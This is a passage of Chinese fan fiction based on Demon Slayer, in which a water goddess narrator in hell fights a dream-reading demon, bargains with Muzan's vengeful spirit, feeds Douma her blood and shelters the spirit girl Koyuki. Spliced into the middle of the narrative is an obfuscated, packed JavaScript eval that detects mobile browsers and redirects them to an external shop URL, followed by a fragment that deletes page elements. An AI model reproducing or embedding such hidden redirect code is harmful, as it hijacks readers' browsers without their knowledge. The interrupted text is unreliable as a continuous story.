“门是通往人世、或地狱其他界域的通道。”我向他解释道,“有的门是只进不出,有的则是只出不进,我之前就是带着童磨大人从业火之界穿过门来到这一层界域的。这里的产屋敷宅邸下藏着的那道,是只允许人类的灵魂离开的门,且开启时间不定,可见是对囚禁众鬼早有准备。我还在寻找其他的门,因为三途河的灵脉在这附近汇聚,所以如果有,存在于这片地方的可能性最大。但鬼是否能通过,目前尚属未知。” 六只鬼瞳齐齐的看向了我。 “既已堕入地狱…为何不赎罪…便急于离开?” “我认为死亡已经是赎罪,即便是鬼,倘若活着时受到的伤害无人偿还,化鬼的缘由无人倾听,就没有死去之后再受折磨的道理。”我干脆的说,“况且地狱这地方很容易吞噬灵魂,这一层界域地下全是名为死灵的怪物,太过危险。对了,也请黑死牟大人小心那些荧绿色、长得像蛞蝓的存在,它们成群活动,受到血或者灵力的吸引就会啃噬灵体,还有这里乱七八糟的魔物也很多,如果您见到那种巨大的怪物……” “那种东西…我已斩杀过数只,尚能应对。” ……这位大人也这么彪悍的吗?? 我感觉自己大开眼界,目光不禁落到他那柄布满眼睛的刀上,“您是剑士,只要信念坚定,它们应该伤害不到您…这刀看起来比普通的太刀要长出两尺有余吧?而且样子好奇特,是用什么做的?” “此刀名为…虚哭神去,乃是…以我的血肉铸成。” “难怪!”我惊讶道,“这刀已经是您灵魂的一部分,才能在地狱里也杀气不减啊!真是把好刀!如果能有机会和您切磋就好了!” 黑死牟看了我一眼,确切来讲是看我腰间的佩刀。 “你说过…未曾修习剑技…那,为何佩刀?” 我摸了摸刀柄,笑道,“我这刀最初不是这样的,只是一把没开过刃的小刀,是我幼时赠与友人的礼物,后来阴差阳错又回到了我手里,陪我一起下了地狱,正是因为想要再见到那孩子的信念,它才变成了现在的样子。所以也算是我的一部分吧,虽然我没修习过剑技,但在地狱里多年,还是有些保命的技巧的,所以要是您哪天闲着无聊,可以跟我过几招玩玩,反正我是神灵,没那么容易砍死的。” 看他沉默不语,我猜这位剑豪大概是懒得理我,就没话找话的笑了笑: “您别介意,我虽然剑技不如人,但喜欢看别人的。说起来之前还是跟早云比试过一次,他那把刀也是相当漂亮呢。“ “前田…早云?” 黑死牟缓缓说出了那个名字。 “是的,早云是我在鬼杀队结交的朋友,给过我很多关照。”我苦笑,“敌我两分,实属无奈,最后还是那种结果。但您放心,那几位柱和鬼杀队的队士,我有好好净化和超度他们,已经送他们去转世了。” “皆是前尘,不必再提。”他简短的说。 “时候不早了,我就不打扰您静修了。对了,如果是魔物的话,其实心脏里的晶体是可以吃的,但其他部分还请您丢弃,怕有死灵寄生。” “口腹之欲,不值一提。” 看看人家!某只连下地狱都不忘乱吃一气的吃货鬼应该感到惭愧! 说起来他又没零食了,我还得跑去多猎几只魔物,唉。 “7,8,9…12…” 我数了数袋子里一堆五光十色的晶核,呼了口气。 这几天的收获不错,就是刚刚和那头炎魔的战况过于激烈,小半个山头都烧了。我灰头土脸的站在一地焦土里,拿水给自己冲了个澡。 幸好死灵地狱的魔物多,否则还真喂不起某只鬼。 话说,为什么有种是我在赚钱养家的感觉?我大概是史上第一个在地狱里辛勤工作养着一只鬼的神灵? 我欠他钱吗? 手上的银铃在水雾中闪了闪,好像在笑我一样。我抬起手,看到血色的莲花刻痕蜿蜒在腕上,怎么看怎么像一行歪歪扭扭的字: 欠三千贯。 ……欠三千两我都信! “呵呵…” 一个飘忽不定的笑声突然在我耳边响起。我原地转身就是一刀,看见一张雪白的、长得很是秀丽的脸,属于一名身着洋服的少年。 是之前遇到过的那个古怪灵体,但这次看起来实体化了。 他背着手退出了几步远,歪头冲我微笑,蓝绿色的发尾在风中飘摇。 “你真美呀,是噩梦中藏着的美梦呢。” “但为什么看不清你的‘核’呢?” 那少年有点困惑的看着我,眼睛是好看的浅青绿,瞳孔却像山羊那样是横过来的。 他朝我伸出一只手:“你想要…什么样的梦呢?……咦?” 我拿着他的断手晃了晃,丢到了一边。然后反手一刀就把他钉在了一棵树上。 “什么脏东西,也敢读我的心?”我面无表情的走近他,“上次的帐我还没跟你算,你还敢来?” 这古怪的少年仿佛感受不到疼痛,反而露出一脸梦幻般的笑容。 “好强,果然像那位大人说的一样,你好强呢……” ……这又是个脑子有病的?不要吧,我为什么总是吸引不正常的家伙? “说说吧,先说你是什么人,再说你上次让我看到的幻境是怎么回事。”我好整以暇的在他面前站定,“我这次可有的是时间,咱们慢慢来。“ “那不是幻境,是梦境呢,是过去发生过的,无法挽回的噩梦呢…会让你痛苦吗?”少年被我刀上升起的蓝炎灼烧的尖叫起来,“啊啊啊……果然…会让你…痛苦呢…” 我按捺住想杀人的心情,“你不是地狱里的生物,所以…你是鬼?“ “…血鬼术…?不…不可能…” 这是个什么玩意?被烧的就剩一口气还在自言自语? “鬼里也有你这么弱的啊?”我叹了口气,“还真是第一次见。“ 这句话好像终于把他拉回了现实,一堆散乱的发丝后,一只眼睛幽怨的盯着我。 “我不弱…那位大人已经给过我血了,我可以的…重来一次的话…” “你都已经下地狱了,重来个鬼啊。所以你上次让我看到的梦境,是真实发生过的事吧?那是什么地方?” 我拍了拍他的脸,“你最好快点说,我估计烧不了一会儿你这灵体就化没了,挺漂亮一张脸,多可惜。” “我不能说…不能…说…” 诶?晕了? 我只好收起灵力,将刀插回腰间。那少年软绵绵的顺着树干滑了下去,倒在了地上。 ……这荒郊野岭的,我是把他拖回去,还是丢在这里喂魔物? 要不还是拖回去? 我抓住他一只胳膊,刚想将他扶起来,突然感受到一阵刺骨的恶寒。 一瞬间我就甩开了他的手,或者说,那已经不能称之为手,而是变成了像是带刺的鞭子一样的东西,以接近闪电般的速度抽向我的脸。 已经来不及拔刀,我本能的挥手升起一道水墙,外加三道回旋的蛇牙刃,堪堪拦住了那根鞭子。 一击不中,那根鞭子以一个不可思议的角度折返,又是一击。 我终于抽出了刀,跳起来就砍。 叮的一声脆响。 在接触到那奇怪的鞭子的一刹那,只感觉长刀上传来万千凄厉的悲鸣,一股像是有生命般的黑气顺着刀身急速向上攀爬。 什么东西?! “沧龙·水净!” 我反手握住刀刃狠狠一抹,附加了净化术的激流逆着撞上那股黑气,将其逼了回去。那根带刺的鞭子也迅速回缩,变成了一只扭曲的手臂。 穿着洋服的少年不知何时站 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就凭那种会一点读心术的鬼,还想吓唬我一个神?真是笑话!这种蠢货不知道神灵在意念上格外强大吗?我没反向去读他的心已经不错了! 正这么想着,忽然听到附近传来一阵嘈杂,有个少年的声音气势汹汹的喊道: “就在这边,好好找找,别叫他们跑了!” 我默默躲在一根廊柱后,看见一群鬼手拿着不知道从哪捡来的刀,一窝蜂似的进了废墟,没过一会儿就从里面连拉带拽的拖出来几个人。 确切来说,是几个鬼。但看起来除了头上有短短的角,以及头发颜色有点奇怪以外,和人类没什么差别,因为鬼气弱的几乎可以忽略,其中一个好像还是个女孩子,竟然已经被吓的哭了起来。 “你们要干什么?大家都是鬼,何必赶尽杀绝?”另一个被扭住胳膊拖出来的少年怒吼起来,“死都已经死了,还这么欺负人,你有什么了不起啊?” 为首的少年长得浓眉大眼,扛着一把太刀,呲牙露出了一个恶毒的笑。 “我跟你们这群废物可不一样,我可是上弦之六。你们这种没用的东西,只配给别人当粮食,哈哈!” “别胡说了,上弦里才没有你这么一号呢!”另一个人嚷嚷起来,“你以为我们是傻瓜,认不出上弦吗?你化鬼都没多久吧?吹什么牛啊?“ 浓眉大眼的少年好像被人揭了什么痛处,脸色瞬间阴沉下来。 “老子现在就让你知道,什么叫上弦的实力。” 他刷的拔出刀来,一刀向说话的鬼脖子上斩去。 铮—— 刀刃相撞的声音回荡在空气中,场上突然安静了下来,握刀的少年呆呆的看着我,似乎没想到会被人拦下来。 “他说的没错啊。”我挑开他那把崩了口的破刀,“我没记错的话,上弦之六是妓夫太郎兄妹,小孩,你是从哪冒出来的上弦?” 那少年的浓眉拧了起来,一副连牙齿都要咬碎的表情。 “你…算什么东西?也配来说我?” 旁边的鬼怯生生说:“老大,这好像是那个……” “闭嘴!这里没你们这些废物说话的份儿!”那少年暴躁的喊了一句,回身对我摆出一个起式,“我今天就让你这多管闲事的女人死在这里!” 嘿,才多大的小孩,这么大口气! 不过话说这起式看起来有点熟悉? 他挥刀冲了过来。 十几招后,我终于知道哪里熟悉了。 “……贰之型,稻魂…” “……肆之型,远雷…” “……伍之型,热界雷…” 记忆中梳着小辫子的黄发青年的身影,不知为何与眼前怒气冲冲的少年重合在一起。 我不禁露出一丝微笑。 早云,你的剑技一点也没有失传呢。 虽然好像…传人变成了鬼? “你的攻速还是太慢了。”我边抵挡边说,“挥刀的角度也有点问题,比如贰之型,我记得…” “闭嘴!你懂什么!”他进攻的速度更快,剑技是真的不赖,非常熟练,但过于心浮气躁,所以每一招其实都落不到实处,在实战中就很容易吃亏。 “你用的是雷之呼吸吧?”我笑道,“相当不错呢!剑式都非常熟练,应该练的很刻苦吧?但你的心性太浮躁了,每一招都有微小的偏差,挥刀的力气也不太够。小孩,继续努力吧!” 说罢,我一刀挑飞了他手里那把破刀,下一刀直刺他颈间。 在他一脸震惊的表情里,我冲他晃了晃手里的青色勾玉。 “勾玉是祈求神明保佑平安的护身符,你连下地狱都戴着,是你重要的人给的?” 那少年恼羞成怒的朝我冲来,“还我!” 我一刀鞘狠狠抽在他头上,将他打的一个趔趄,跪倒在地上。 “输的人没资格提条件。你先向被你欺负的人道歉,我再把这个还你。” 他呲牙咧着的捂着脑袋,两眼发红,“我才不向废物道歉!你等着!老子早晚宰了你!” 这是什么孩子啊…还是小梅比较可爱。 “男孩子恃强凌弱,当街欺负女孩子,是最令人不齿之事。”我收起了笑容,“我打败了你,你现在也是废物了,我是不是可以把你的四肢都切下来?” 他好像终于有点怕了,咬着牙说:“随你,反正我也已经死了,被那种废物砍断了脖子…我宁可死的干净点。” “这里可是地狱,小孩,切掉四肢你还是会活着。”我冷冷的说,“我可以让你在断手断脚甚至被腰斩的情况下活很久,要不要试试?” 他终于没声了。 “算了。”我把那块勾玉丢在他面前,“道歉不道歉都是你自己的事,与我无关。” “你们也一样。”我转身对不远处那些鬼大声说道,“你们尽可以继续像之前那样互相残杀,吞食彼此,但这里是地狱,我必须告知诸位,你们相互争斗所产生的怨恨、愤怒、恐惧…所有这些负面的情感,都是这块土地最爱的粮食。我见过无数灵魂在这里因为陷入厮杀而被地狱吞噬,不论是鬼、神还是人,都是一样的。这里没有你们的无惨大人,也没有神明来拯救你们,上弦们更不会管你们的死活,能拯救自己的只有自己。诸位,请好自为之。” 57. 神之子(8) “我回来啦。“ 咦,那只鬼竟然不在家? 绘双六的棋盘和骰子还摊在檐廊下,茶杯摆的东一个西一个,看来是临时出门去了。 真是一切都透着怪异的一天啊。就连天空的颜色也不太对劲,那些厚厚的云层居然发着红光,天空中灵力的涌动也变得强烈起来,好像在酝酿一场暴风雨。 这几天的狩猎活动过于密集,在和那个会读心的鬼战斗后,又总觉得沾到了什么诡异的气场,我的目光落在了院子里那个空着的池塘上。 啊,总算轮到我来享受一下了。 把池子放满热水,我钻了进去,那感觉就好像冬天钻进了一床被汤婆子暖热的被褥,不禁让人彻底放松下来。 已经有太久的时间未曾体会过如此平静的生活了。人世的一切早已离我远去,连阳光的温暖和花草的芬芳都已经快要记不起来了,而地狱的两百年只有无休无止的躲藏、逃亡和战斗,以及凭着一股灵魂深处的执念,一次次在焦土和残骸之上拼凑起自己七零八落的肢体。 我看着水面上倒映的女子容颜。以人类的标准来看,这应该是一张美丽的脸。毕竟白是个可爱的女孩子,这原本应该是她长大成人的样子,现在属于身为神灵的我。 胸中这颗悸动的心,以及所有深藏其中的眷恋与希冀,却全都属于那个死在两百年前的九岁女孩。 无数次想要把一切都告诉那只鬼,然而,即使是作为人类时的极乐教小神子,对一个仅仅一起度过了几天的女孩子又能有多少记忆?更不用说化鬼等同于死了一次,很明显,不论是巫女白姬还是荒川神社,都早已不存在于他的世界。 我所眷恋的一切,终究只存在于我一个人的记忆中。我所希冀的一切,终究不会得到任何回应。 ——非常的寂寞吧? 是有些寂寞,但作为神灵,寂寞本来就是生命的一部分。 ——还是不甘心的吧? 会失落,但没有不甘。我仅仅是在履行荒川之神和她的巫女白姬之间的一个约定而已。 ——你在说谎,只要是人类的心,就会有愤怒、不甘、怨恨、焦躁…以及占有的欲望,你一定有想要的东西,告诉我,你想要什么? 水波的倒影中,不知何时出现了一名面貌极为俊美的男子,他的黑发如同海藻般华丽而阴郁,双眼是冬日红梅般的妖娆。 ——说出你想要的东西,我可以满足你所有的愿望。 他向我伸出苍白而纤长的手,做了一个优雅的邀请姿势。 ——我曾度过千年的岁月,也曾见过无数的女人,但能遇见像你这样美丽的小姐,真令我感到惊喜。说吧,你想要什么,我都可以满足你。 我迷惑的看着他,有些分不清这是梦境还是现实。 ——你看,我们都是神明,这本身就是一种缘分。你和那些蝼蚁不同,与我站在一起吧,我们可以为所欲为,要知道这世界本就是神明的游乐场。 男人的全身散发着极度危险但慑人心魄的美,像是暗夜中涌出岩浆的火山。 明亮的,妖媚的,毁灭的,张扬的,像烈火,像死亡,吞噬一切的颜色。 万鬼之王的颜色。 他苍白的指尖轻轻抚上我的脸颊,挑逗般的捉起几缕长发,一缕缕的青蓝色发丝绕在他的指间,像是溪水流进了风化多年的骸骨中。 “您就是无惨大人吧?”我轻声说。 那双梅红的眼睛微微眯起。 ——真是个大胆的女人,你可知道,在过去的千年中,敢于直呼我名字的,都是什么样的下场? “我乃神明,并非蝼蚁,您刚刚说的。” 男人不动声色的看着我,那暴虐的气场宛如实质般的弥漫在空气中。 像是猫和蛇的对峙。 我是蛇,但也是一条毒蛇。他下嘴前也要三思而行。 末了,他嘴角勾起一个冷笑。 ——我宽恕你这一次,但你不准再顶撞我,让我不快的下场,你应该知道。 “您放心,我是个懂礼数的人。您也一样吧?”我直视着那双眼睛,“看您的举止气度,应该是贵族出身吧?但在女人沐浴时突然出现在浴池里这种事,似乎不太符合贵族的礼数?” 水面砰的炸起一团黑雾,身着玄色和服的男人现身在黑气中,居高临下的看着我,抚弄我头发的苍白手指,猛地扼住了我的咽喉。 “你太放肆了,谁允许你这样跟我说话?” “您杀不了我。”我垂目盯着他的手,“您现在成了怨灵吧?实体化的状况并不稳定,我知道您或许想夺取我的灵体,但我是水神,这具灵体对您到底有用与否也很难说,况且灵体之间的融合本来就存在风险,您已经很久没有进食了吧,但神灵的意念可是非常强大的,如果您试图吞噬我,会不会有什么奇怪的事发生,我可说不准。” 那只手在片刻之后松开了。鬼王怒极反笑。 “呵呵…原来如此。不愧是童磨养的女人,竟敢跟我讨价还价?” 无惨大人交叉起细长的手指,摆出一副商人姿态,“他给了你什么好处,嗯?不,不对,以我对童磨的了解,他其实什么也给不了你吧?毕竟他那颗不正常的脑子,连我看了都觉得恶心。” “您怎么能说这种话,大人他是爱我的。” 无惨大人冷笑,“我还以为神灵会有例外,没想到你也是个蠢材。放弃你那些愚蠢的幻想吧,童磨是个没有感情的怪物,所有你以为的情爱都是装出来的,他吃过的女人甚至比我都多。让我猜猜,他连神佛和地狱都不相信,也是第一次见到神灵这种东西吧,你对他来说和一只羽毛奇特的鸟没什么区别,因为地狱里太无聊了,他需要找点乐子,就像他养着他教里的那些女信徒一样,每天用花言巧语哄骗着,哪天腻烦了就直接吃掉。这就是你想要的?” 他抬起线条精致的下颌,用一种充满魅惑的声音说,“但我不一样。如果你肯为我所用,等我回到人世,铲除了那些该死的猎鬼人,我可以让人类都跪在你的脚下,成为你的信徒,让你变成像惠比寿神或是大国主命那样受无数人敬仰的神祇。我活了上千年,这种事对我来说轻而易举,只看你能不能讨得我的欢心。” “不愧是无惨大人,您开出的条件确实很诱人。”我慢吞吞的说,“但那种事对我来说太遥远了,现在的当务之急是,我的御神体被封印在地狱的某处,但我无法确切的知道是在哪里,如果您能找到任何相关线索,对我而言,您就是我的恩人和主君,我自然会效忠于您。” “御神体么…这不难。但你用什么来交换?” “您想要什么?“ 无惨大人露出一个玩味的笑。 “如果我说我要童磨的命,你会给我吗?” 我盯着他,也笑了,“您没有那么蠢,无惨大人。您只剩下两位能用的上弦了吧,童磨大人更是现在唯一能使用血鬼术的上弦,一旦此地的神灵们发现您脱出了牢笼,您确定要在最需要人手的时候自断臂膀?” “童磨作为上弦之贰竟然会战败,不过证明上弦们也都是些没用的东西罢了,我需要更强的属下。血鬼术的事我已经知道了,我可以只要他的血。“ “恕我直言,您现在的灵体状态,连鬼都算不上吧。”不顾他瞬间缩小的瞳孔,我直白的说,“虽然不知道那些猎鬼人对您做了什么,但鬼血现在对您能起到的作用,可能跟我的血也差不多。况且听说童磨大人之前可是死于中毒,好像是一位叫珠世的小姐特别调配过的毒药,先前我看过一只非要向他讨血的鬼,灵体直接化成了灰呢,真是太可怕了。” “我当然知道,珠世那女人…我早晚会抓到她,让她好好体会一下什么才是真正的地狱!” 不知为什么,一听到珠世这个名字,鬼王那张俊美的面容瞬间变得狰狞无比。 “既然是合作,为表诚意,我会分享所有我知道的、和地狱有关的情报给您,包括关于‘门’的事。”我补充道,“我们的目的是一致的,都是要离开地狱,所以无惨大人,还请您稍安勿躁,从长计议。” 鬼王在黑雾中隐去了身形,只剩下一对血艳的眼睛。 “你是个有趣的女人,你叫什么?“ “染,荒川的水神。对了,我还有最后一个问题想问您。” “讲。” “您是否知道有那样一个地方,里面的空间似乎是错乱的,有很多的房间和走廊?我之前梦到过那个地方。” 那双眼睛里闪过一丝疑惑。 “那是无限城。你问这个干什么?” 原来是叫做无限城啊,最后埋葬了他的地方。 无惨大人,谢谢你赐他一条生路,也谢谢你赐他一条死路。 “没什么。”我向鬼王展露出一个温柔驯顺的微笑,“那大概是预示着,我和您有着特别的缘分吧。” 无惨离开后,我马上检查了自己的意念,确认他没有留下任何侵入的痕迹后,才稍稍松了一口气。 花园里的植物全都枯萎了,一池清水早变得冰冷,幸好是在水里,我能完全建立自己的灵力场,隔绝他对我的意念侵入和我身上鬼血的气息。 好好一个鬼王,到底是有什么深重的执念,能变成怨灵这种东西? 我刚回到屋子里,就见童磨摇着扇子,带着一脸无忧无虑的笑容走了进来。 “小染~人家回来啦~” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252334|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 懒得理会他甜腻腻的声音,我跪坐在桌前泡茶,“别装了。先说你都看全了吗?我第一次用视野共享这种东西,也不知道效果怎么样?” 赐血者可以在一定范围内和被赐血者共享视野,这是鬼王对眷属享有的特权。无惨大人大约是忽略了这一点,或者在他的心目中,世上永远只有他一个人能拥有眷属,也只有他一个人能享有对他人生杀予夺的权力。 贵族,大多如此。 “应该是都看到了吧,从无惨大人说我脑子不正常那里开始。”童磨擦了擦眼泪,坐在了我身边,“无惨大人真是一点都没有变呢,讲话还是这么伤人,亏人家一直都惦记着他。” “所以就没什么好说的了。”我给那只鬼倒了一杯茶,注意到他的扇子上夹着几片细小的冰晶,皱了皱眉。 “你跟人打架了?” “啊,我去见了黑死牟大人一面。”童磨放下手中的扇子,姿态典雅的端起茶杯。 “那看来是没谈成。谁赢了?” “小染猜猜?“ “我猜你们都留了余地。” “小染真聪明。“童磨微笑道,“大家毕竟是同僚,哪怕下了地狱,我们也都是无惨大人的上弦嘛。” “黑死牟大人…依然打算效忠于他?” “我跟你说过吧,黑死牟大人最重视上下尊卑、秩序伦常这些。想改变他,可没有那么容易呐。”童磨修长的手指转着茶杯,眼中一片冷冽,“小染觉得呢?我们的那位大人,有什么弱点吗?“ “他现在不是鬼,而是怨灵,是灵体演化后的产物,必须是生前有着巨大执念的存在才能在地狱里变成这种东西,我猜测是他吞食了某个有着特殊精神体的鬼作为媒介,之前我狩猎时有见到一只能操控梦境的鬼,应该与此事有关。”我猜测道,“他现在依然很虚弱,应该很快就会开始吞噬其他的灵体来补充力量,实体化的程度也会随之加强。但问题在于,怨灵很难杀死,执念不灭,就会想方设法的重生,加上他已经活了千年,凭我现在的力量,没有抹杀他的把握。” “诶呀,说来说去还是因为不想死嘛,无惨大人真是太可怜了~“童磨流下了两行同情的眼泪,“这样的话,我们就先帮帮他的忙吧,毕竟是他把我变成了鬼,人家做鬼又做的实在很开心,还是要感念他的恩情嘛~” “但他迟早要杀你。”我提醒他。 “小染,这就是你不了解无惨大人的地方啦。”童磨笑眯眯的说,“他就是那样的人嘛,说要杀我已经说了两百年了呢。但人家从没让他失望过,所以呀,”他打开一面扇子,掩住了唇角的尖牙,“这其实是无惨大人的爱与鞭策呢~” 我终于忍不住笑了出来,“好,那我就听童磨大人的。我只担心一件事,虽然我有尽力遮盖气息,他今天似乎也没有察觉,但我成为你眷属的事,黑死牟大人会不会告诉他?” “那我们来赌一次吧,”鬼轻笑道,“就赌黑死牟大人,还是不是过去的黑死牟大人。” 我望着他冰晶般冷静的眼睛,心中莫名的安定了很多。 “好,不论结果如何,我都陪童磨大人赌这一次。” “不说这个啦,人家可是辛苦了一天,小染有准备点心吗?” “我给你带了点零食,”我将那只装着魔物晶核的袋子丢到桌上,顺便把左手伸给他,“还有我的血,你自己选。” “有神灵大人的血,人家才不要啃那些硬邦邦的东西呢~” 童磨握住我的手腕,在那朵莲花刻印的下方小心的咬开一个伤口,吸吮着涌出的血液。 我则拈了一块晶核含在嘴里。 唉,确实不好吃,还不如糖块。 “羽毛奇特的鸟…” 那只鬼突然轻声说道。 “无惨大人是那样说的吗?“ “诶?”我几乎没反应过来他说的是什么。 “不是那样的哦。” 他戳了戳那朵染满鲜血的莲花,露出一个柔和的微笑。 “小染对我而言,不是什么鸟哦。” 风从庭院中吹过,那些枯萎的植物又生出了新芽。 “我…我知道啊,”我讷讷的说,“我是童磨大人的朋友嘛。” “不一样的,小染,就是小染哦。” 没有星星的夜晚,我却听见星星在唱歌。 尽管一切只存在于我的记忆中,但此时此刻,我却存在于你的世界里。 这就够了。 “童磨大人对于我来说,也是独一无二的。” 所以,请放心,我必定会忠于你,陪伴你,守护你。 这也是这一场旅程开始时,我与你的约定。 58. 神之子(9) 我不知道鬼之始祖的复苏对人世而言意味着什么,但对我所在的这一重地狱来说,变成暗红色的天空和接连不断炸响的惊雷已经是再明显不过的预兆。虽然他现在只是怨灵,但能用多快的速度恢复,会成为怎样的存在,我都无法预料,毕竟这里是死灵地狱,变异成什么样的怪物都有。但如何对付这位怀着千年执念的鬼之始祖,我毫无头绪。 果然在这个地方,一件事可以引起一连串的连锁反应,这也是人类所说的因果现前,只不过地狱是意念的世界,因果的显化格外迅速。群鬼脱离了压制,则必然会感召鬼王的归来,但此时已经没有在此镇守的人。我只担心,一旦事情发展到出现不可控的变数,更强的力量将出手干预这里的一切,那就会大大增加逃离的难度。 这是一场与天道的博弈。我虽生为神灵,获得完整灵魂的时间却不长,很多事也仅能窥其一二。说到底,先前的两百年都是在极端环境中凭借本能而活,在无数次吃亏后总结出规律,反正皮够硬,血够厚,脑袋掉了还能拼回去,打不过还能逃。 但这一次不同,我身后有想要保护的人,退无可退。 顷刻间,大雨降了下来,雨水落到手上,竟是一片血色。 血雨…吗?还真是不祥之兆。 我坐在檐廊下,回头看了看屋里,童磨终于画完了他的双六棋盘,居然自己掷骰子跟自己玩了起来,丝毫没有受这诡异天象的影响。鬼的眼睛在黑暗中发着光,像是什么夜行的动物,神情竟是少有的专注。 无忧亦无惧,有着神佛一般通透且静定的心境,却毫无悔意的走在恶鬼道上,这本身就是个奇迹。 我开始意识到,即使是作为人类时的白,也不是真正了解那位极乐教的小神子,只是凭着能看到灵光的独特体质,认定这是她命里遇见的天人,结果那明明有着天人之姿、聪慧绝顶的小神子就那么简简单单的弃绝了人世,头也不回的一路直奔地狱,不能不说命运是何等可笑,又是何等残忍。 又是一个惊雷后,院子外的树林中忽然传来一阵细碎的脚步声。 我皱了皱眉。之前为了安全起见,四周的林中都被我布下了防御用的符咒,如果有鬼或者魔物闯入,必然会自动升起结界。加上有童磨这个上弦之贰的鬼气在此,屋子附近早已经干干净净,连个鬼影都没有,这种时候来的又会是谁? 脚步声由远及近,凌乱中透出惊慌。接着,院子紧闭的木门被敲响了,敲门声中夹着一个细细弱弱的声音: “请问…请问有人吗?有人在这里吗?” 女孩子? 我一手抓起刀,慢慢朝院门走了过去。在死灵地狱里,听起来是女孩子的,可不一定真的是女孩子。 敲门声还在继续,“请问…” 我猛的拉开了门。 门外竟然真的站着个女孩。 确切来讲,是位个子相当娇小的少女,看起来不过十五六岁,几乎还是个孩子。不知是因为惊吓还是被雨淋的,她的脸白的要命,一双樱粉色的大眼睛湿漉漉的看着我,身上穿的也是同样樱粉色的、带有雪花图案的和服。 整个人看起来就像一只小小的樱花团子。 “人类?“我细细打量着她,但那微弱的灵体气息,确实是人类无疑。 但人类根本不可能出现在这里。 不知道是不是被我这句话吓到,下一刻,女孩子身体一软,倒在了地上。 竟然晕了。 这…这让我如何是好? 看了看四周没有异常,我蹲下拍了拍她的脸。 “喂,醒醒,你别晕啊。” 没反应。 她全身都湿透了,这血雨也不知对人类这么脆弱的灵体有没有影响。我想起先前看过的那些被死灵寄生的鬼杀队队士,那还是强壮的、执念深重的男性,这小女孩就这么无知无觉的一个人穿行在死灵之森里,也不知道哪来的胆量? 没办法,我只能将她扶了起来,她轻盈的好像一只小鸟,完全不像是会出现在地狱里的灵魂。 幸好还有先前小梅他们住过的房间在。我半扶半抱着女孩进了房间,先小心的用法术将她身上和头发上的雨水弄干,又仔细用灵力看了一下,还好,灵体上没有伤口,也暂时没有被死灵寄生,只是过于虚弱了。 我上一个见过的、完全不受死灵之森影响的人类灵体还是小梅,因为她和哥哥之间的共生关系而得到了强大的保护,才得以毫发无伤的走出这里。这孩子…这样也太危险了。 身后突然传来某只鬼懒洋洋的声音。 “小染怎么一声不吭的跑到这里来啦?人家刚刚还……” 下一刻他直接出现在了我旁边。 “哇啊,这是什么呀?”童磨两眼放光,四颗雪白的獠牙都亮了出来,“是可爱的女孩子呢~“ 恶鬼满脸荡漾着幸福:“小染在哪里找到了这么美味的点心?人家已经好久、好久没见过这么可爱的女孩子了!啊,真是太感动了!人家好爱你啊…” 我拼尽全力的将流着口水的鬼推到一边:“这个不能吃啊!去帮我倒杯热茶来,这孩子太虚弱了。” “为什么不能吃?是人类呢!”略显迷惑后,鬼耍起小孩脾气来,“难道不是给人家吃的吗?小染好残忍,竟然让人家看着美味的点心不能吃吗?“ 我错了,我为什么要这样为难一只鬼生的唯一乐趣就是吃女孩子然而在地狱里只能被迫啃石头的鬼? 啊,真是巨大的负罪感! “童磨大人,请忍耐一下,拜托啦!”我只能哄他,“这孩子跑到门口求救,我才把她带回来的,我知道这样让你很难受,等她醒了我马上找地方安置她,不让你看到。况且这孩子来路不明,万一有什么问题呢?” 童磨大人极不情愿的被我推了出去,过了半天,门被拉开一条缝,丢进来一只空茶杯。 这家伙,难不成还真生气了…… 我苦笑着叹了口气,捧着杯子注入了一点点灵力,杯中很快就装满了热水。手头实在没有人类能吃的东西,只能将这杯带有灵力的水喂进了她嘴里。 万幸,过了一会儿,少女就睁开了眼睛。 “你感觉怎么样?好一点了吗?“ 女孩坐了起来,看起来非常羞涩。 “对不起,我是昏倒了吗?”她的声音细细的,手也不安的揪着衣服,“真是抱歉,给您添麻烦了…” 我得有两百年没见过这么干净纯粹的人类灵魂了,一时之间也有点不知所措。 “地狱最近真是越来越奇怪了啊,人类女孩子怎么会跑到这里来的?什么地方搞错了吧?” “不是的,”她脸色微微发红,“我是陪我夫君一起来的。“ ………我没听错吧?这也行?? “这位小姐,你是疯了吗?你以为这是夏日祭吗?你是人类吧?人类的灵魂是基本没可能在无间的四大地狱里存在下去的,听说过什么叫‘百千万年,求出无期’吗?这里是为那些罪大恶极之人准备的葬身之地!除非赶上门开,否则你连转世的机会都不会有!“ 她呆呆的看着我,明显是被我的一大通严厉说辞给吓到了。 “何况这里现在全是鬼……”我只觉得脑袋疼,“看你这娇弱的样子,吓也能把你吓死。“ “那个…我不怕鬼。“ 她声音特别小,我好不容易才听清,忍不住笑了: “你不怕鬼?你见过鬼吗?” “见过的,”她点头,“我夫君以前就是,我跟了他两百多年,鬼是什么样子,怎么吃人,我是知道的。” “你明明是人类,怎么可能活……” 我突然感到了一丝震撼,“你…是说你死后一直没有去转世,只为跟着你变成鬼的夫君?” “是,是的。” 经过一番询问,我才得知,女孩名叫恋雪,很早以前就已经死了,因为她的死,与她约定了成婚的男人不堪忍受,大开杀戒,自那之后便堕落成鬼。这女孩的灵魂一直跟在那男人身边,他却无法看见她,也无法听见她的声音,甚至不再记得她。她只能看着他在无休无止的杀戮中度过了两百余年,直到他败在猎鬼人刀下,生死一线之际,才终于听到了她的呼唤。 “我们本来不是在这里的,之前的地方比这里明亮的多,也有住的地方,狛治哥哥每天去帮助其他的人,我就在家里抄写经文等着他。”她有点无措的说,“不知道为什么突然发生了地震,我醒来之后就发现有东西在追我们,狛治哥哥抱着我跑了好久,后来的事我就不记得了…” 我叹了口气,又给了她一杯水。 “应该是那位大人在强行召唤所有的鬼,竟然能穿透不同的界域,怨灵的意念真是可怕…” “狛治哥哥不是鬼。“女孩确定的说,“他已经变回人类了。” 我想了想,说:“不管怎么样,我先带你离开再说,这里太危险了,外面那个…算了,不提也罢。” 我拉着女孩出门时,看见童磨坐在檐廊下,露出一脸人畜无害的天真微笑。 